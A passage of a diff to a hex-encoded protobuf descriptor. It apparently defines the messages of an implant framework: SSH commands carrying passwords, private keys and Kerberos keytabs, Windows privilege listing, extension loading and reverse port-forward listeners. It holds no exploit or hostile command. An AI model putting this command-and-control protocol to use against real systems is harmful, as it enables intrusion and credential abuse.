0x65, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0xa2, 0x02, 0x0a, 0x0d, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, - 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, - 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, - 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x1a, - 0x0a, 0x08, 0x4b, 0x72, 0x62, 0x35, 0x43, 0x6f, 0x6e, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x4b, 0x72, 0x62, 0x35, 0x43, 0x6f, 0x6e, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x4b, 0x65, - 0x79, 0x74, 0x61, 0x62, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x4b, 0x65, 0x79, 0x74, - 0x61, 0x62, 0x12, 0x14, 0x0a, 0x05, 0x52, 0x65, 0x61, 0x6c, 0x6d, 0x18, 0x0a, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x52, 0x65, 0x61, 0x6c, 0x6d, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x6c, 0x0a, 0x0a, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, - 0x61, 0x6e, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x4f, 0x75, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x64, 0x4f, 0x75, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, - 0x74, 0x64, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x64, - 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, - 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xd3, 0x01, 0x0a, 0x15, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x50, 0x72, 0x69, 0x76, 0x69, - 0x6c, 0x65, 0x67, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, - 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x07, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x2a, 0x0a, 0x10, 0x45, 0x6e, 0x61, - 0x62, 0x6c, 0x65, 0x64, 0x42, 0x79, 0x44, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x10, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x42, 0x79, 0x44, 0x65, - 0x66, 0x61, 0x75, 0x6c, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x64, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x64, 0x12, - 0x24, 0x0a, 0x0d, 0x55, 0x73, 0x65, 0x64, 0x46, 0x6f, 0x72, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x55, 0x73, 0x65, 0x64, 0x46, 0x6f, 0x72, 0x41, - 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0xc5, 0x01, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, - 0x76, 0x73, 0x12, 0x3b, 0x0a, 0x08, 0x50, 0x72, 0x69, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x69, 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x2a, 0x0a, 0x10, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, - 0x69, 0x74, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x50, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x50, - 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, - 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x8f, 0x01, - 0x0a, 0x14, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, - 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x0e, - 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, - 0x0a, 0x04, 0x49, 0x6e, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x49, 0x6e, - 0x69, 0x74, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0x43, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xa1, 0x01, 0x0a, 0x10, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, - 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x53, 0x74, 0x6f, 0x72, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x41, 0x72, 0x67, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x41, - 0x72, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x06, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x2b, 0x0a, 0x07, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, - 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x79, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, - 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, - 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, - 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x53, 0x74, 0x6f, 0x72, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x53, 0x74, - 0x6f, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x40, 0x0a, 0x11, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, - 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x56, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, - 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x61, 0x6d, 0x65, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x12, 0x2e, 0x0a, + 0x22, 0xda, 0x01, 0x0a, 0x10, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, + 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x69, 0x6e, 0x64, + 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x69, 0x6e, 0x64, 0x50, + 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x42, 0x69, 0x6e, 0x64, 0x50, + 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x41, 0x64, + 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x6f, 0x72, + 0x77, 0x61, 0x72, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x46, + 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0b, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x56, 0x0a, - 0x17, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xcf, 0x01, 0x0a, 0x18, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, - 0x77, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, - 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, - 0x72, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x69, 0x6e, 0x64, 0x50, 0x6f, 0x72, 0x74, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x42, 0x69, 0x6e, 0x64, 0x50, 0x6f, 0x72, 0x74, - 0x12, 0x20, 0x0a, 0x0b, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x50, 0x6f, 0x72, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x50, 0x6f, - 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x41, 0x64, 0x64, - 0x72, 0x65, 0x73, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x46, 0x6f, 0x72, 0x77, - 0x61, 0x72, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xda, 0x01, 0x0a, 0x10, 0x52, 0x70, 0x6f, 0x72, - 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, - 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, - 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0b, 0x42, 0x69, 0x6e, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x1a, - 0x0a, 0x08, 0x42, 0x69, 0x6e, 0x64, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x08, 0x42, 0x69, 0x6e, 0x64, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x46, 0x6f, - 0x72, 0x77, 0x61, 0x72, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x50, 0x6f, 0x72, - 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, - 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7d, 0x0a, 0x11, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x43, 0x0a, 0x14, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, + 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x7d, 0x0a, + 0x11, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x52, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x2e, 0x0a, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x43, 0x0a, 0x14, + 0x52, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x77, 0x64, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x22, 0x9e, 0x01, 0x0a, 0x08, 0x52, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x12, + 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, + 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, + 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, + 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, + 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, + 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x9e, 0x01, 0x0a, 0x0b, 0x52, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, + 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 